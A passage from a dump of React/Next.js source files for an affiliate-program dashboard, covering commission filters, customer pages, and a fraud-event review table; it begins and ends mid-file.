options:\n          groups?.map((group) => {\n            return {\n              value: group.id,\n              label: group.name,\n              icon: <GroupColorCircle group={group} />,\n              permalink: `/${slug}/program/groups/${group.slug}/rewards`,\n            };\n          }) ?? null,\n      },\n      {\n        key: \"type\",\n        icon: Sliders,\n        label: \"Type\",\n        options: Object.values(CommissionType).map((type) => ({\n          value: type,\n          label: capitalize(type) as string,\n          icon: <CommissionTypeIcon type={type} />,\n        })),\n      },\n      {\n        key: \"status\",\n        icon: CircleDotted,\n        label: \"Status\",\n        options: Object.entries(CommissionStatusBadges).map(\n          ([value, { label }]) => {\n            const Icon = CommissionStatusBadges[value].icon;\n            return {\n              value,\n              label,\n              icon: (\n                <Icon\n                  className={cn(\n                    CommissionStatusBadges[value].className,\n                    \"size-4 bg-transparent\",\n                  )}\n                />\n              ),\n              right: commissionsCount?.[value]?.count\n                ? nFormatter(commissionsCount[value].count, {\n                    full: true,\n                  })\n                : undefined,\n            };\n          },\n        ),\n      },\n    ],\n    [commissionsCount, partners, customers, groups],\n  );\n\n  const activeFilters = useMemo(() => {\n    const { customerId, partnerId, status, type, payoutId, groupId } =\n      searchParamsObj;\n\n    return [\n      ...(customerId ? [{ key: \"customerId\", value: customerId }] : []),\n      ...(partnerId ? [{ key: \"partnerId\", value: partnerId }] : []),\n      ...(status ? [{ key: \"status\", value: status }] : []),\n      ...(type ? [{ key: \"type\", value: type }] : []),\n      ...(payoutId ? [{ key: \"payoutId\", value: payoutId }] : []),\n      ...(groupId ? [{ key: \"groupId\", value: groupId }] : []),\n    ];\n  }, [\n    searchParamsObj.customerId,\n    searchParamsObj.partnerId,\n    searchParamsObj.status,\n    searchParamsObj.type,\n    searchParamsObj.payoutId,\n    searchParamsObj.groupId,\n  ]);\n\n  const onSelect = useCallback(\n    (key: string, value: any) =>\n      queryParams({\n        set: {\n          [key]: value,\n        },\n        del: \"page\",\n      }),\n    [queryParams],\n  );\n\n  const onRemove = useCallback(\n    (key: string) =>\n      queryParams({\n        del: [key, \"page\"],\n      }),\n    [queryParams],\n  );\n\n  const onRemoveAll = useCallback(\n    () =>\n      queryParams({\n        del: [\"status\", \"partnerId\", \"customerId\", \"payoutId\", \"groupId\"],\n      }),\n    [queryParams],\n  );\n\n  const isFiltered = useMemo(\n    () => activeFilters.length > 0 || searchParamsObj.search,\n    [activeFilters, searchParamsObj.search],\n  );\n\n  return {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    isFiltered,\n    setSearch,\n    setSelectedFilter,\n  };\n}\n\nfunction usePartnerFilterOptions(search: string) {\n  const { searchParamsObj } = useRouterStuff();\n\n  const { partners, loading: partnersLoading } = usePartners({\n    query: { search },\n  });\n\n  const { partners: selectedPartners } = usePartners({\n    query: {\n      partnerIds: searchParamsObj.partnerId\n        ? [searchParamsObj.partnerId]\n        : undefined,\n    },\n  });\n\n  const result = useMemo(() => {\n    return partnersLoading ||\n      // Consider partners loading if we can't find the currently filtered partner\n      (searchParamsObj.partnerId &&\n        ![...(selectedPartners ?? []), ...(partners ?? [])].some(\n          (p) => p.id === searchParamsObj.partnerId,\n        ))\n      ? null\n      : ([\n          ...(partners ?? []),\n          // Add selected partner to list if not already in partners\n          ...(selectedPartners\n            ?.filter((st) => !partners?.some((t) => t.id === st.id))\n            ?.map((st) => ({ ...st, hideDuringSearch: true })) ?? []),\n        ] as (EnrolledPartnerProps & { hideDuringSearch?: boolean })[]);\n  }, [partnersLoading, partners, selectedPartners, searchParamsObj.partnerId]);\n\n  return { partners: result };\n}\n\nfunction useCustomerFilterOptions(search: string) {\n  const { searchParamsObj } = useRouterStuff();\n\n  const { customers, loading: customersLoading } = useCustomers({\n    query: { search },\n  });\n\n  const { customers: selectedCustomers } = useCustomers({\n    query: {\n      customerIds: searchParamsObj.customerId\n        ? [searchParamsObj.customerId]\n        : undefined,\n    },\n  });\n\n  const result = useMemo(() => {\n    return customersLoading ||\n      // Consider partners loading if we can't find the currently filtered partner\n      (searchParamsObj.customerId &&\n        ![...(selectedCustomers ?? []), ...(customers ?? [])].some(\n          (p) => p.id === searchParamsObj.customerId,\n        ))\n      ? null\n      : ([\n          ...(customers ?? []),\n          // Add selected partner to list if not already in partners\n          ...(selectedCustomers\n            ?.filter((st) => !customers?.some((t) => t.id === st.id))\n            ?.map((st) => ({ ...st, hideDuringSearch: true })) ?? []),\n        ] as (CustomerProps & { hideDuringSearch?: boolean })[]);\n  }, [\n    customersLoading,\n    customers,\n    selectedCustomers,\n    searchParamsObj.customerId,\n  ]);\n\n  return { customers: result };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/customers/(index)/layout.tsx",
    "content": "\"use client\";\n\nimport { REFERRAL_ENABLED_PROGRAM_IDS } from \"@/lib/referrals/constants\";\nimport useCustomersCount from \"@/lib/swr/use-customers-count\";\nimport { useProgramReferralsCount } from \"@/lib/swr/use-program-referrals-count\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ExportCustomersButton } from \"@/ui/customers/export-customers-button\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { InfoTooltip } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { usePathname } from \"next/navigation\";\nimport { CSSProperties, ReactNode, useMemo } from \"react\";\n\nexport default function PartnerCustomersLayout({\n  children,\n}: {\n  children: ReactNode;\n}) {\n  const pathname = usePathname();\n  const { slug, defaultProgramId } = useWorkspace();\n\n  const { data: customersCount } = useCustomersCount<number>({\n    includeParams: [],\n  });\n\n  const isReferralEnabled = defaultProgramId\n    ? REFERRAL_ENABLED_PROGRAM_IDS.includes(defaultProgramId)\n    : false;\n\n  const { data: referralsCount } = useProgramReferralsCount<number>({\n    ignoreParams: true,\n    enabled: isReferralEnabled,\n  });\n\n  const tabs = useMemo(() => {\n    if (!isReferralEnabled) {\n      return [];\n    }\n\n    return [\n      {\n        label: \"Customers\",\n        id: \"customers\",\n        href: \"\",\n        info: \"Shows both converted and non-converted customers.\",\n        count: customersCount,\n      },\n      {\n        label: \"Partner Referrals\",\n        id: \"invited\",\n        href: \"referrals\",\n        info: \"Shows your partners' submitted referrals.\",\n        count: referralsCount,\n      },\n    ];\n  }, [isReferralEnabled, customersCount, referralsCount]);\n\n  return (\n    <PageContent\n      title=\"Customers\"\n      titleInfo={{\n        title:\n          \"Get deeper, real-time insights about your referred customers' demographics, purchasing behavior, and lifetime value (LTV).\",\n        href: \"https://dub.co/help/article/customer-insights\",\n      }}\n      controls={<ExportCustomersButton />}\n    >\n      <PageWidthWrapper className=\"flex flex-col gap-3 pb-10\">\n        {tabs.length > 0 && (\n          <div\n            className={cn(\n              \"grid grid-cols-[repeat(var(--tabs),minmax(0,1fr))] gap-2\",\n            )}\n            style={{ \"--tabs\": tabs.length } as CSSProperties}\n          >\n            {tabs.map((tab) => {\n              const isActive = pathname.endsWith(\n                `/customers${tab.href ? `/${tab.href}` : \"\"}`,\n              );\n\n              return (\n                <Link\n                  key={tab.id}\n                  href={`/${slug}/program/customers${tab.href ? `/${tab.href}` : \"\"}`}\n                  className={cn(\n                    \"border-border-subtle flex flex-col gap-1 rounded-lg border p-4 text-left transition-colors duration-100\",\n                    isActive\n                      ? \"border-black ring-1 ring-black\"\n                      : \"hover:bg-bg-muted\",\n                  )}\n                >\n                  <div className=\"flex items-center gap-2\">\n                    <span className=\"text-content-default text-xs font-semibold\">\n                      {tab.label}\n                    </span>\n                    {tab.info && <InfoTooltip content={tab.info} />}\n                  </div>\n                  {tab.count !== undefined ? (\n                    <span className=\"text-content-emphasis text-base font-semibold\">\n                      {tab.count.toLocaleString()}\n                    </span>\n                  ) : (\n                    <div className=\"h-6 w-12 animate-pulse rounded-md bg-neutral-200\" />\n                  )}\n                </Link>\n              );\n            })}\n          </div>\n        )}\n        {children}\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/customers/(index)/page.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { CustomersTable } from \"@/ui/customers/customers-table/customers-table\";\n\nexport default function ProgramCustomersPage() {\n  const { defaultProgramId } = useWorkspace();\n  return (\n    <CustomersTable\n      query={{ programId: defaultProgramId || undefined }}\n      isProgramPage\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/customers/(index)/referrals/page.tsx",
    "content": "\"use client\";\n\nimport { PartnerReferralTable } from \"@/ui/referrals/partner-referral-table\";\n\nexport default function PartnerCustomersReferralsPage() {\n  return <PartnerReferralTable />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/customers/[customerId]/earnings/page-client.tsx",
    "content": "\"use client\";\n\nimport { CUSTOMER_PAGE_EVENTS_LIMIT } from \"@/lib/constants/misc\";\nimport useCustomer from \"@/lib/swr/use-customer\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { CommissionResponse, CustomerEnriched } from \"@/lib/types\";\nimport { CustomerPartnerEarningsTable } from \"@/ui/customers/customer-partner-earnings-table\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { ArrowUpRight } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { redirect, useParams } from \"next/navigation\";\nimport { memo } from \"react\";\nimport useSWR from \"swr\";\n\nexport function CustomerEarningsPageClient() {\n  const { customerId } = useParams<{ customerId: string }>();\n\n  const { slug } = useWorkspace();\n  const { data: customer, isLoading } = useCustomer<CustomerEnriched>({\n    customerId,\n    query: { includeExpandedFields: true },\n  });\n\n  if (!customer && !isLoading) redirect(`/${slug}/customers`);\n\n  return !customer || (customer.partner && customer.programId) ? (\n    <section className=\"flex flex-col gap-4\">\n      <h2 className=\"text-lg font-semibold text-neutral-900\">\n        Partner earnings\n      </h2>\n      <div className=\"border-border-subtle flex flex-col overflow-hidden rounded-lg border\">\n        <Link\n          href={`/${slug}/program/partners/${customer?.partner?.id}`}\n          target=\"_blank\"\n          className=\"group flex items-center justify-between overflow-hidden bg-neutral-100 px-3 py-2.5\"\n        >\n          <div className=\"flex min-w-0 items-center gap-3\">\n            {customer?.partner ? (\n              <>\n                <PartnerAvatar partner={customer.partner} className=\"size-5\" />\n                <span className=\"block min-w-0 truncate text-sm font-medium text-neutral-900\">\n                  {customer.partner.name}\n                </span>\n              </>\n            ) : (\n              <>\n                <div className=\"size-5 animate-pulse rounded-full bg-neutral-200\" />\n                <div className=\"h-5 w-24 animate-pulse rounded bg-neutral-200\" />\n              </>\n            )}\n          </div>\n          <ArrowUpRight className=\"size-3 shrink-0 -translate-x-0.5 translate-y-0.5 opacity-0 transition-[transform,opacity] group-hover:translate-x-0 group-hover:translate-y-0 group-hover:opacity-100\" />\n        </Link>\n\n        <div className=\"border-border-subtle border-t\">\n          <PartnerEarningsTable customerId={customerId} />\n        </div>\n      </div>\n    </section>\n  ) : null;\n}\n\nconst PartnerEarningsTable = memo(({ customerId }: { customerId: string }) => {\n  const { id: workspaceId, slug } = useWorkspace();\n\n  const { data: commissions, isLoading: isComissionsLoading } = useSWR<\n    CommissionResponse[]\n  >(\n    `/api/commissions?${new URLSearchParams({\n      customerId,\n      workspaceId: workspaceId!,\n      pageSize: CUSTOMER_PAGE_EVENTS_LIMIT.toString(),\n    })}`,\n    fetcher,\n  );\n\n  const { data: totalCommissions, isLoading: isTotalCommissionsLoading } =\n    useSWR<{ all: { count: number } }>(\n      // Only fetch total earnings count if the earnings data is equal to the limit\n      commissions?.length === CUSTOMER_PAGE_EVENTS_LIMIT &&\n        `/api/commissions/count?${new URLSearchParams({\n          customerId,\n          workspaceId: workspaceId!,\n        })}`,\n      fetcher,\n    );\n\n  return (\n    <CustomerPartnerEarningsTable\n      commissions={commissions}\n      totalCommissions={\n        isTotalCommissionsLoading\n          ? undefined\n          : totalCommissions?.all?.count ?? commissions?.length\n      }\n      viewAllHref={`/${slug}/program/commissions?customerId=${customerId}`}\n      isLoading={isComissionsLoading}\n    />\n  );\n});\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/customers/[customerId]/earnings/page.tsx",
    "content": "import { CustomerEarningsPageClient } from \"./page-client\";\n\nexport default function CustomerEarningsPage() {\n  return <CustomerEarningsPageClient />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/customers/[customerId]/layout.tsx",
    "content": "\"use client\";\n\nimport useCustomer from \"@/lib/swr/use-customer\";\nimport useCustomerActivity from \"@/lib/swr/use-customer-activity\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { CustomerEnriched } from \"@/lib/types\";\nimport { CustomerActivityList } from \"@/ui/customers/customer-activity-list\";\nimport { CustomerDetailsColumn } from \"@/ui/customers/customer-details-column\";\nimport { CustomerSelector } from \"@/ui/customers/customer-selector\";\nimport { CustomerStats } from \"@/ui/customers/customer-stats\";\nimport { CustomerTabs } from \"@/ui/customers/customer-tabs\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { Button } from \"@dub/ui\";\nimport { ChevronRight, User } from \"@dub/ui/icons\";\nimport Link from \"next/link\";\nimport {\n  redirect,\n  useParams,\n  usePathname,\n  useRouter,\n  useSearchParams,\n} from \"next/navigation\";\nimport { ReactNode } from \"react\";\n\nexport default function ProgramCustomerLayout({\n  children,\n}: {\n  children: ReactNode;\n}) {\n  const { slug: workspaceSlug } = useWorkspace();\n  const { customerId } = useParams<{ customerId: string }>();\n  const router = useRouter();\n  const pathname = usePathname();\n  const searchParams = useSearchParams();\n\n  const { data: customer, error: customerError } =\n    useCustomer<CustomerEnriched>({\n      customerId,\n      query: { includeExpandedFields: true },\n    });\n\n  const { customerActivity, isCustomerActivityLoading } = useCustomerActivity({\n    customerId,\n  });\n\n  if (customerError && customerError.status === 404)\n    redirect(`/${workspaceSlug}/program/customers`);\n\n  const switchToCustomer = (newCustomerId: string) => {\n    if (customerId === newCustomerId) return;\n    const url = `${pathname.replace(`/customers/${customerId}`, `/customers/${newCustomerId}`)}?${searchParams.toString()}`;\n    router.push(url);\n  };\n\n  return (\n    <PageContent\n      title={\n        <div className=\"flex items-center gap-1.5\">\n          <Link\n            href={`/${workspaceSlug}/program/customers`}\n            aria-label=\"Back to customers\"\n            title=\"Back to customers\"\n            className=\"bg-bg-subtle hover:bg-bg-emphasis flex size-8 shrink-0 items-center justify-center rounded-lg transition-[transform,background-color] duration-150 active:scale-95\"\n          >\n            <User className=\"size-4\" />\n          </Link>\n          <ChevronRight className=\"text-content-muted size-2.5 shrink-0 [&_*]:stroke-2\" />\n          <CustomerSelector\n            variant=\"header\"\n            selectedCustomerId={customer?.id ?? null}\n            setSelectedCustomerId={switchToCustomer}\n          />\n        </div>\n      }\n    >\n      <PageWidthWrapper className=\"pb-10\">\n        <CustomerStats customer={customer} />\n\n        <div className=\"@3xl/page:grid-cols-[minmax(440px,1fr)_minmax(0,360px)] mt-6 grid grid-cols-1 gap-6\">\n          <div className=\"@3xl/page:order-2\">\n            <CustomerDetailsColumn\n              customer={customer}\n              customerActivity={customerActivity}\n              isCustomerActivityLoading={!customer || isCustomerActivityLoading}\n              workspaceSlug={workspaceSlug}\n              isProgramPage\n            />\n          </div>\n          <div className=\"@3xl/page:order-1\">\n            <div className=\"border-border-subtle overflow-hidden rounded-xl border bg-neutral-100\">\n              <CustomerTabs customer={customer} isProgramPage />\n              <div className=\"border-border-subtle -mx-px -mb-px rounded-xl border bg-white p-4\">\n                {children}\n              </div>\n            </div>\n\n            <section className=\"mt-3 flex flex-col px-4\">\n              <div className=\"flex items-center justify-between\">\n                <h2 className=\"py-3 text-lg font-semibold text-neutral-900\">\n                  Activity\n                </h2>\n                <Link\n                  href={`/${workspaceSlug}/events?interval=all&customerId=${customerId}`}\n                >\n                  <Button\n                    variant=\"secondary\"\n                    text=\"View all\"\n                    className=\"h-7 px-2\"\n                  />\n                </Link>\n              </div>\n              <CustomerActivityList\n                activity={customerActivity}\n                isLoading={!customer || isCustomerActivityLoading}\n              />\n            </section>\n          </div>\n        </div>\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/customers/[customerId]/page.tsx",
    "content": "import { redirect } from \"next/navigation\";\n\n// Handles old customer IDs (pre cus_ prefix) by redirecting to the sales page\nexport default async function ProgramCustomerPage({\n  params,\n}: {\n  params: Promise<{ slug: string; customerId: string }>;\n}) {\n  const { slug, customerId } = await params;\n  redirect(`/${slug}/program/customers/${customerId}/sales`);\n\n  return null;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/customers/[customerId]/sales/page-client.tsx",
    "content": "\"use client\";\n\nimport { CUSTOMER_PAGE_EVENTS_LIMIT } from \"@/lib/constants/misc\";\nimport useCustomer from \"@/lib/swr/use-customer\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { CustomerEnriched, SaleEvent } from \"@/lib/types\";\nimport { CustomerSalesTable } from \"@/ui/customers/customer-sales-table\";\nimport { fetcher } from \"@dub/utils\";\nimport { redirect, useParams } from \"next/navigation\";\nimport { memo } from \"react\";\nimport useSWR from \"swr\";\n\nexport function CustomerSalesPageClient() {\n  const { customerId } = useParams<{ customerId: string }>();\n\n  const { slug } = useWorkspace();\n  const { data: customer, isLoading } = useCustomer<CustomerEnriched>({\n    customerId,\n    query: { includeExpandedFields: true },\n  });\n\n  if (!customer && !isLoading) redirect(`/${slug}/customers`);\n\n  return (\n    <section className=\"flex flex-col gap-4\">\n      <h2 className=\"text-lg font-semibold text-neutral-900\">Sales</h2>\n      <div className=\"border-border-subtle overflow-hidden rounded-lg border\">\n        <SalesTable customerId={customerId} />\n      </div>\n    </section>\n  );\n}\n\nconst SalesTable = memo(({ customerId }: { customerId: string }) => {\n  const { id: workspaceId, slug } = useWorkspace();\n\n  const { data: salesData, isLoading: isSalesLoading } = useSWR<SaleEvent[]>(\n    `/api/events?event=sales&interval=all&limit=${CUSTOMER_PAGE_EVENTS_LIMIT}&customerId=${customerId}&workspaceId=${workspaceId}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const { data: totalSales, isLoading: isTotalSalesLoading } = useSWR<{\n    sales: number;\n  }>(\n    // Only fetch total sales count if the sales data is equal to the limit\n    salesData?.length === CUSTOMER_PAGE_EVENTS_LIMIT &&\n      `/api/analytics?event=sales&interval=all&groupBy=count&customerId=${customerId}&workspaceId=${workspaceId}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return (\n    <CustomerSalesTable\n      sales={salesData}\n      totalSales={\n        isTotalSalesLoading ? undefined : totalSales?.sales ?? salesData?.length\n      }\n      viewAllHref={`/${slug}/events?event=sales&interval=all&customerId=${customerId}`}\n      isLoading={isSalesLoading}\n    />\n  );\n});\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/customers/[customerId]/sales/page.tsx",
    "content": "import { CustomerSalesPageClient } from \"./page-client\";\n\nexport default function CustomerSalesPage() {\n  return <CustomerSalesPageClient />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/customers/customers-dropdown-menu.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ThreeDots } from \"@/ui/shared/icons\";\nimport { Button, IconMenu, Popover } from \"@dub/ui\";\nimport { ExternalLink } from \"lucide-react\";\nimport { useRouter } from \"next/navigation\";\nimport { useState } from \"react\";\n\nexport function CustomersDropdownMenu() {\n  const router = useRouter();\n  const { slug } = useWorkspace();\n  const [openPopover, setOpenPopover] = useState(false);\n\n  return (\n    <Popover\n      content={\n        <div className=\"w-full md:w-[14rem]\">\n          <div className=\"grid gap-px p-2\">\n            <button\n              onClick={() => {\n                setOpenPopover(false);\n                router.push(`/${slug}/program/customers/referrals`);\n              }}\n              className=\"w-full rounded-md p-2 hover:bg-neutral-100 active:bg-neutral-200\"\n            >\n              <IconMenu\n                text=\"Partner referral form\"\n                icon={<ExternalLink className=\"h-4 w-4\" />} // TODO: Fix the icon\n              />\n            </button>\n          </div>\n        </div>\n      }\n      openPopover={openPopover}\n      setOpenPopover={setOpenPopover}\n      align=\"end\"\n    >\n      <Button\n        onClick={() => setOpenPopover(!openPopover)}\n        variant=\"secondary\"\n        className=\"h-8 w-auto px-1.5 sm:h-9\"\n        icon={<ThreeDots className=\"size-4 text-neutral-500\" />}\n      />\n    </Popover>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/fraud/example-fraud-events.tsx",
    "content": "import { FRAUD_RULES_BY_TYPE } from \"@/lib/api/fraud/constants\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { FraudRuleType } from \"@dub/prisma/client\";\nimport { Button, ShieldKeyhole } from \"@dub/ui\";\nimport { formatDate } from \"@dub/utils\";\n\nconst EXAMPLE_FRAUD_EVENTS: {\n  type: FraudRuleType;\n  partnerName: string;\n  date: Date;\n}[] = [\n  {\n    type: \"paidTrafficDetected\",\n    partnerName: \"Olivia Carter\",\n    date: new Date(\"2025-11-10\"),\n  },\n  {\n    type: \"referralSourceBanned\",\n    partnerName: \"Sarah Johnson\",\n    date: new Date(\"2025-11-08\"),\n  },\n];\n\ninterface ExampleFraudEventProps {\n  type: FraudRuleType;\n  partnerName: string;\n  date: Date;\n}\n\nexport function ExampleFraudEvents() {\n  return (\n    <div\n      className=\"flex w-full max-w-md flex-col gap-4 overflow-hidden px-4 [mask-image:linear-gradient(black_80%,transparent)]\"\n      aria-hidden\n    >\n      {EXAMPLE_FRAUD_EVENTS.map((event, idx) => (\n        <ExampleFraudEvent key={idx} event={event} />\n      ))}\n    </div>\n  );\n}\n\nfunction ExampleFraudEvent({ event }: { event: ExampleFraudEventProps }) {\n  const rule = FRAUD_RULES_BY_TYPE[event.type];\n\n  return (\n    <div className=\"flex w-full select-none items-center justify-between gap-4 overflow-hidden rounded-xl border border-neutral-200 bg-white p-5\">\n      <div className=\"flex min-w-0 flex-1 items-center gap-4\">\n        <div className=\"flex size-10 shrink-0 items-center justify-center rounded-full border border-neutral-200 bg-neutral-50\">\n          <ShieldKeyhole className=\"size-5 text-neutral-600\" />\n        </div>\n        <div className=\"flex min-w-0 flex-1 flex-col gap-2\">\n          <span className=\"text-sm font-semibold text-neutral-900\">\n            {rule.name}\n          </span>\n          <div className=\"flex items-center gap-2\">\n            <PartnerAvatar\n              partner={{ name: event.partnerName }}\n              className=\"size-5 bg-white\"\n            />\n            <span className=\"text-content-default whitespace-nowrap text-sm font-medium\">\n              {event.partnerName}\n            </span>\n            <span className=\"font-inter whitespace-nowrap text-sm text-neutral-400\">\n              {formatDate(event.date, {\n                month: \"short\",\n                day: \"numeric\",\n                year: \"numeric\",\n              })}\n            </span>\n          </div>\n        </div>\n      </div>\n\n      <div className=\"flex shrink-0\">\n        <Button\n          type=\"button\"\n          text=\"Review\"\n          variant=\"primary\"\n          className=\"bg-bg-inverted text-content-inverted h-7 cursor-default rounded-lg px-2.5 py-2\"\n        />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/fraud/fraud-group-table.tsx",
    "content": "\"use client\";\n\nimport { FRAUD_RULES_BY_TYPE } from \"@/lib/api/fraud/constants\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useFraudGroups } from \"@/lib/swr/use-fraud-groups\";\nimport { useFraudGroupCount } from \"@/lib/swr/use-fraud-groups-count\";\nimport { FraudGroupProps } from \"@/lib/types\";\nimport { useBanPartnerModal } from \"@/ui/modals/ban-partner-modal\";\nimport { useBulkBanPartnersModal } from \"@/ui/modals/bulk-ban-partners-modal\";\nimport { useBulkResolveFraudGroupsModal } from \"@/ui/modals/bulk-resolve-fraud-groups-modal\";\nimport { useRejectPartnerApplicationModal } from \"@/ui/modals/reject-partner-application-modal\";\nimport { FraudDisclaimerBanner } from \"@/ui/partners/fraud-risks/fraud-disclaimer-banner\";\nimport { FraudReviewSheet } from \"@/ui/partners/fraud-risks/fraud-review-sheet\";\nimport { PartnerRowItem } from \"@/ui/partners/partner-row-item\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { FilterButtonTableRow } from \"@/ui/shared/filter-button-table-row\";\nimport {\n  AnimatedSizeContainer,\n  Badge,\n  Button,\n  Filter,\n  Icon,\n  Popover,\n  Table,\n  TimestampTooltip,\n  Tooltip,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport { Dots, ShieldAlert, UserDelete, UserXmark } from \"@dub/ui/icons\";\nimport { cn, formatDateTimeSmart } from \"@dub/utils\";\nimport { Row } from \"@tanstack/react-table\";\nimport { Command } from \"cmdk\";\nimport { useEffect, useMemo, useRef, useState } from \"react\";\nimport { useFraudGroupFilters } from \"./use-fraud-group-filters\";\n\nexport function FraudGroupTable() {\n  const { queryParams, searchParams } = useRouterStuff();\n  const { pagination, setPagination } = usePagination();\n\n  const sortBy = searchParams.get(\"sortBy\") || \"createdAt\";\n  const sortOrder = searchParams.get(\"sortOrder\") === \"asc\" ? \"asc\" : \"desc\";\n\n  const {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    setSearch,\n    setSelectedFilter,\n  } = useFraudGroupFilters({\n    status: \"pending\",\n  });\n\n  const { fraudGroups, loading, error } = useFraudGroups({\n    query: {\n      status: \"pending\",\n    },\n    exclude: [\"groupId\"],\n  });\n\n  const [detailsSheetState, setDetailsSheetState] = useState<\n    { open: false; groupId: string | null } | { open: true; groupId: string }\n  >({ open: false, groupId: null });\n\n  useEffect(() => {\n    const groupId = searchParams.get(\"groupId\");\n\n    if (groupId) {\n      setDetailsSheetState({ open: true, groupId });\n    } else {\n      setDetailsSheetState({ open: false, groupId: null });\n    }\n  }, [searchParams]);\n\n  const { currentFraudGroup } = useCurrentFraudGroup({\n    fraudGroups,\n    groupId: detailsSheetState.groupId,\n  });\n\n  const { fraudGroupCount, error: countError } = useFraudGroupCount<number>({\n    query: {\n      status: \"pending\",\n    },\n  });\n\n  const [pendingBanPartners, setPendingBanPartners] = useState<\n    Array<NonNullable<FraudGroupProps[\"partner\"]>>\n  >([]);\n\n  const [pendingResolveFraudGroups, setPendingResolveFraudGroups] = useState<\n    FraudGroupProps[]\n  >([]);\n\n  const tableRef = useRef<\n    ReturnType<typeof useTable<FraudGroupProps>>[\"table\"] | null\n  >(null);\n\n  const { BulkBanPartnersModal, setShowBulkBanPartnersModal } =\n    useBulkBanPartnersModal({\n      partners: pendingBanPartners,\n      onConfirm: async () => {\n        tableRef.current?.resetRowSelection();\n        mutatePrefix(\"/api/fraud/groups\");\n      },\n    });\n\n  const { BulkResolveFraudGroupsModal, setShowBulkResolveFraudGroupsModal } =\n    useBulkResolveFraudGroupsModal({\n      fraudGroups: pendingResolveFraudGroups,\n      onConfirm: async () => {\n        tableRef.current?.resetRowSelection();\n        mutatePrefix(\"/api/fraud/groups\");\n      },\n    });\n\n  const { table, ...tableProps } = useTable<FraudGroupProps>({\n    data: fraudGroups || [],\n    columns: [\n      {\n        id: \"type\",\n        header: \"Event\",\n        size: 150,\n        cell: ({ row }) => {\n          const reason = FRAUD_RULES_BY_TYPE[row.original.type];\n          const count = row.original.eventCount ?? 1;\n\n          if (reason) {\n            return (\n              <div className=\"flex items-center gap-2\">\n                <Tooltip content={reason.description}>\n                  <span className=\"cursor-help truncate underline decoration-dotted underline-offset-2\">\n                    {reason.name}\n                  </span>\n                </Tooltip>\n                {count > 1 && (\n                  <Badge\n                    variant=\"gray\"\n                    className=\"shrink-0 rounded-md border-none px-1.5 py-1 text-xs font-semibold text-neutral-700\"\n                  >\n                    +{Number(count) - 1}\n                  </Badge>\n                )}\n              </div>\n            );\n          }\n        },\n        meta: {\n          filterParams: ({ row }) => ({\n            type: row.original.type,\n          }),\n        },\n      },\n      {\n        id: \"partner\",\n        header: \"Partner\",\n        size: 150,\n        cell: ({ row }) => {\n          const partner = row.original.partner;\n          if (!partner) return \"-\";\n\n          return (\n            <PartnerRowItem\n              partner={{\n                id: partner.id,\n                name: partner.name || \"Unknown\",\n                image: partner.image,\n              }}\n              showPermalink={false}\n              showFraudIndicator={false}\n            />\n          );\n        },\n        meta: {\n          filterParams: ({ row }) =>\n            row.original.partner\n              ? {\n                  partnerId: row.original.partner.id,\n                }\n              : {},\n        },\n      },\n      {\n        id: \"lastEventAt\",\n        header: \"Last Detected\",\n        size: 150,\n        meta: {\n          headerTooltip:\n            \"The date and time of the most recent occurrence of this fraud event.\",\n        },\n        cell: ({ row }) => (\n          <TimestampTooltip\n            timestamp={row.original.lastEventAt}\n            side=\"right\"\n            rows={[\"local\", \"utc\", \"unix\"]}\n            delayDuration={150}\n          >\n            <span>{formatDateTimeSmart(row.original.lastEventAt)}</span>\n          </TimestampTooltip>\n        ),\n      },\n      {\n        id: \"menu\",\n        minSize: 30,\n        size: 30,\n        maxSize: 30,\n        cell: ({ row }) => <RowMenuButton row={row} />,\n      },\n    ],\n    columnPinning: { right: [\"menu\"] },\n    pagination,\n    onPaginationChange: setPagination,\n    sortableColumns: [\"createdAt\", \"type\"],\n    sortBy,\n    sortOrder,\n    onSortChange: 